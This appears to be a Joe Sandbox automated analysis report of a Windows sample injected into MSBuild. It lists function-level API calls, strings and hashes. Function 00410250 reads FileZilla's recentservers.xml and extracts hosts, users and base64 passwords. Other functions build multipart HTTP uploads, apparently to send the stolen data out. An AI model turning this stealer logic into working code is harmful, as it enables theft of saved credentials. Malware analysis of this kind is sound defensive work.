GetProcAddress.KERNEL32(74DF0000,01405848), ref: 0041A693
GetProcAddress.KERNEL32(6F9B0000,01405488), ref: 0041A6B4
GetProcAddress.KERNEL32(6F9B0000,01405528), ref: 0041A6CD
GetProcAddress.KERNEL32(6F9B0000,01405470), ref: 0041A6E5
GetProcAddress.KERNEL32(6F9B0000,014054A0), ref: 0041A6FD

Strings

HttpQueryInfoA, xrefs: 0041A5FC
InternetSetOptionA, xrefs: 0041A5E5

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction ID: b148544ec257a615b167952e2e9b89b3667e8f5620887ecf26b211dda149ff7d
Opcode Fuzzy Hash: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction Fuzzy Hash: 02621DBD5C0200BFD364DFE8EE889A63BFBF74E701714A61AE609C3264D6399441DB52

Function 00407710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,004161C4,?), ref: 00407724
RtlAllocateHeap.NTDLL(00000000,?,004161C4,?), ref: 0040772B
lstrcatA.KERNEL32(?,01401DE8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8), ref: 004078DB
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004078EF
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407903
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407917
lstrcatA.KERNEL32(?,01406230,?,004161C4,?), ref: 0040792B
lstrcatA.KERNEL32(?,01406278,?,004161C4,?), ref: 0040793F
lstrcatA.KERNEL32(?,01406290,?,004161C4,?), ref: 00407952
lstrcatA.KERNEL32(?,01406380,?,004161C4,?), ref: 00407966
lstrcatA.KERNEL32(?,014064D0,?,004161C4,?), ref: 0040797A
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 0040798E
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004079A2
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004079B6
lstrcatA.KERNEL32(?,01406230,?,004161C4,?), ref: 004079C9
lstrcatA.KERNEL32(?,01406278,?,004161C4,?), ref: 004079DD
lstrcatA.KERNEL32(?,01406290,?,004161C4,?), ref: 004079F1
lstrcatA.KERNEL32(?,01406380,?,004161C4,?), ref: 00407A04
lstrcatA.KERNEL32(?,01406538,?,004161C4,?), ref: 00407A18
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A2C
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A40
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A54
lstrcatA.KERNEL32(?,01406230,?,004161C4,?), ref: 00407A68
lstrcatA.KERNEL32(?,01406278,?,004161C4,?), ref: 00407A7B
lstrcatA.KERNEL32(?,01406290,?,004161C4,?), ref: 00407A8F
lstrcatA.KERNEL32(?,01406380,?,004161C4,?), ref: 00407AA3
lstrcatA.KERNEL32(?,014065A0,?,004161C4,?), ref: 00407AB6
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407ACA
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407ADE
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407AF2
lstrcatA.KERNEL32(?,01406230,?,004161C4,?), ref: 00407B06
lstrcatA.KERNEL32(?,01406278,?,004161C4,?), ref: 00407B1A
lstrcatA.KERNEL32(?,01406290,?,004161C4,?), ref: 00407B2D
lstrcatA.KERNEL32(?,01406380,?,004161C4,?), ref: 00407B41
lstrcatA.KERNEL32(?,01406608,?,004161C4,?), ref: 00407B55
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B69
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B7D
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B91
lstrcatA.KERNEL32(?,01406230,?,004161C4,?), ref: 00407BA4
lstrcatA.KERNEL32(?,01406278,?,004161C4,?), ref: 00407BB8
lstrcatA.KERNEL32(?,01406290,?,004161C4,?), ref: 00407BCC
lstrcatA.KERNEL32(?,01406380,?,004161C4,?), ref: 00407BDF
lstrcatA.KERNEL32(?,01406670,?,004161C4,?), ref: 00407BF3
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C07
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C1B
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C2F
lstrcatA.KERNEL32(?,01406230,?,004161C4,?), ref: 00407C43
lstrcatA.KERNEL32(?,01406278,?,004161C4,?), ref: 00407C56
lstrcatA.KERNEL32(?,01406290,?,004161C4,?), ref: 00407C6A
lstrcatA.KERNEL32(?,01406380,?,004161C4,?), ref: 00407C7E

Part of subcall function 004075D0: lstrcatA.KERNEL32(33999020,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
Part of subcall function 004075D0: lstrcatA.KERNEL32(33999020,00000000,00000000), ref: 00407648
Part of subcall function 004075D0: lstrcatA.KERNEL32(33999020, : ), ref: 0040765A
Part of subcall function 004075D0: lstrcatA.KERNEL32(33999020,00000000,00000000,00000000), ref: 0040768F
Part of subcall function 004075D0: lstrcatA.KERNEL32(33999020,00421804), ref: 004076A0
Part of subcall function 004075D0: lstrcatA.KERNEL32(33999020,00000000,00000000,00000000), ref: 004076D3
Part of subcall function 004075D0: lstrcatA.KERNEL32(33999020,00421808), ref: 004076ED
Part of subcall function 004075D0: task.LIBCPMTD ref: 004076FB

lstrcatA.KERNEL32(?,01404D78,?,00000104), ref: 00407E0B
lstrcatA.KERNEL32(?,01405968), ref: 00407E1E
lstrlenA.KERNEL32(33999020), ref: 00407E2B
lstrlenA.KERNEL32(33999020), ref: 00407E3B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 6fcfd6c6baea700e61f3ac76ac6e2f698724bd4a5264edc9866c41ae3b3538d0
Instruction ID: e42d55f5272c4be8e3f59257355b8fca4430f3dac2d75aeea8cbf9ff20cdab91
Opcode Fuzzy Hash: 6fcfd6c6baea700e61f3ac76ac6e2f698724bd4a5264edc9866c41ae3b3538d0
Instruction Fuzzy Hash: 12324EBAD50314ABD715EBE0DC85DEA737DBB45700F005A9DF209A2080EE78E7858F56

Function 00410250 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

strtok_s.MSVCRT ref: 0041031B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBA,00420DB7,00420DB6,00420DB3), ref: 00410362
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00410385
lstrlenA.KERNEL32(00000000), ref: 00410393

Part of subcall function 004188E0: malloc.MSVCRT ref: 004188E8
Part of subcall function 004188E0: strncpy.MSVCRT ref: 00418903

StrStrA.SHLWAPI(00000000,<Port>), ref: 004103CF
lstrlenA.KERNEL32(00000000), ref: 004103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00410419
lstrlenA.KERNEL32(00000000), ref: 00410427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00410463
lstrlenA.KERNEL32(00000000), ref: 00410475
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410502
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041051A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410532
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041054A
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 00410562
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 00410571
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 00410580
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410593
lstrcatA.KERNEL32(?,00421678,?,?,00000000), ref: 004105A2
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105B5
lstrcatA.KERNEL32(?,0042167C,?,?,00000000), ref: 004105C4
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 004105D3
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105E6
lstrcatA.KERNEL32(?,00421688,?,?,00000000), ref: 004105F5
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00410604
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410617
lstrcatA.KERNEL32(?,00421698,?,?,00000000), ref: 00410626
lstrcatA.KERNEL32(?,0042169C,?,?,00000000), ref: 00410635
strtok_s.MSVCRT ref: 00410679
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 0041068E
memset.MSVCRT ref: 004106DD

Strings

password: , xrefs: 004105FB
<Pass encoding="base64">, xrefs: 0041045A
url: , xrefs: 00410577
browser: FileZilla, xrefs: 00410559
profile: null, xrefs: 00410568
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004102A4
<Host>, xrefs: 0041037C
NA, xrefs: 0041072E, 004106AF, 004106B2
NA, xrefs: 004102CC, 004102F2, 004102CF, 004102F5
login: , xrefs: 004105CA
<User>, xrefs: 00410410
<Port>, xrefs: 004103C6

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$NA$NA$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-514892060
Opcode ID: 25cc054626b86fe219406ddd71784bc433aee6517617584381fe35f2fe16da34
Instruction ID: d15eb70b6d553ab1cc94bc99ca27928082ec116ada4a7d19c18b432e65637ade
Opcode Fuzzy Hash: 25cc054626b86fe219406ddd71784bc433aee6517617584381fe35f2fe16da34
Instruction Fuzzy Hash: 86D16D75A41208ABCB04FBF1DD86EEE7379FF14314F50441EF102A6091DE78AA96CB69

Function 00405100 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

lstrlenA.KERNEL32(00000000), ref: 00405193

Part of subcall function 00418EA0: CryptBinaryToStringA.CRYPT32(00000000,00405184,40000001,00000000,00000000,?,00405184), ref: 00418EC0

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405207
StrCmpCA.SHLWAPI(?,01404DA8), ref: 00405225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405340
HttpOpenRequestA.WININET(00000000,01404DE8,?,01406470,00000000,00000000,00400100,00000000), ref: 004053A4

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,01404E28,00000000,?,013F9B50,00000000,?,004219DC,00000000,?,004151CF), ref: 00405737
lstrlenA.KERNEL32(00000000), ref: 0040574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0040575C
HeapAlloc.KERNEL32(00000000), ref: 00405763
lstrlenA.KERNEL32(00000000), ref: 00405778
memcpy.MSVCRT(?,00000000,00000000), ref: 0040578F
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057A9
memcpy.MSVCRT(?), ref: 004057B6
lstrlenA.KERNEL32(00000000), ref: 004057C8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057E1
memcpy.MSVCRT(?), ref: 004057F1
lstrlenA.KERNEL32(00000000,?,?), ref: 0040580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040584D
InternetCloseHandle.WININET(00000000), ref: 004058B1
InternetCloseHandle.WININET(00000000), ref: 004058BE
InternetCloseHandle.WININET(00000000), ref: 004058C8

Strings

", xrefs: 004055C4
", xrefs: 00405706
", xrefs: 00405482
------, xrefs: 0040563B
------, xrefs: 004053B7
--, xrefs: 00405280
------, xrefs: 004054F9
------, xrefs: 00405297

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2744873387-2774362122
Opcode ID: 7441479875cef0ade580cbc391c91beb22ce45f9220ebd172bd854f365a60cd9
Instruction ID: d07ba18edd097c444f0f2b194d739d2ed1db848351cdebbd5bd0839dcb06e227
Opcode Fuzzy Hash: 7441479875cef0ade580cbc391c91beb22ce45f9220ebd172bd854f365a60cd9
Instruction Fuzzy Hash: DA3262B1921118ABDB14FBA1DC91FEE7378BF14714F40415EF10662092DF782A9ACF69

Function 00405960 Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004059F8
StrCmpCA.SHLWAPI(?,01404DA8), ref: 00405A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405B93
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,01406A58,00000000,?,013F9B50,00000000,?,00421A1C), ref: 00405E71
lstrlenA.KERNEL32(00000000), ref: 00405E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00405E93
HeapAlloc.KERNEL32(00000000), ref: 00405E9A
lstrlenA.KERNEL32(00000000), ref: 00405EAF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405EC6
lstrlenA.KERNEL32(00000000), ref: 00405ED8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405EF1
memcpy.MSVCRT(?), ref: 00405EFE
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F4C
InternetCloseHandle.WININET(00000000), ref: 00405FB0
InternetCloseHandle.WININET(00000000), ref: 00405FBD
HttpOpenRequestA.WININET(00000000,01404DE8,?,01406470,00000000,00000000,00400100,00000000), ref: 00405BF8

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00405FC7

Strings

", xrefs: 00405E16
------, xrefs: 00405D4C
------, xrefs: 00405A96
------, xrefs: 00405C0B
", xrefs: 00405CD5

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 1406981993-2180234286
Opcode ID: ff2809e59d642d75ae2231e13152c341e448feed54d3c5b347b93c7988f4c107
Instruction ID: 7b5b204680124ce1d4beb717fdfef1c68a0c63715f2d18b0248442adb904f056
Opcode Fuzzy Hash: ff2809e59d642d75ae2231e13152c341e448feed54d3c5b347b93c7988f4c107
Instruction Fuzzy Hash: 20124071821118ABCB15FBA1DC95FEEB378BF14314F50419EB10A62091DF782B9ACF69

Function 0040A790 Relevance: 40.8, APIs: 22, Strings: 1, Instructions: 538
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0040AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0040ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A8B0

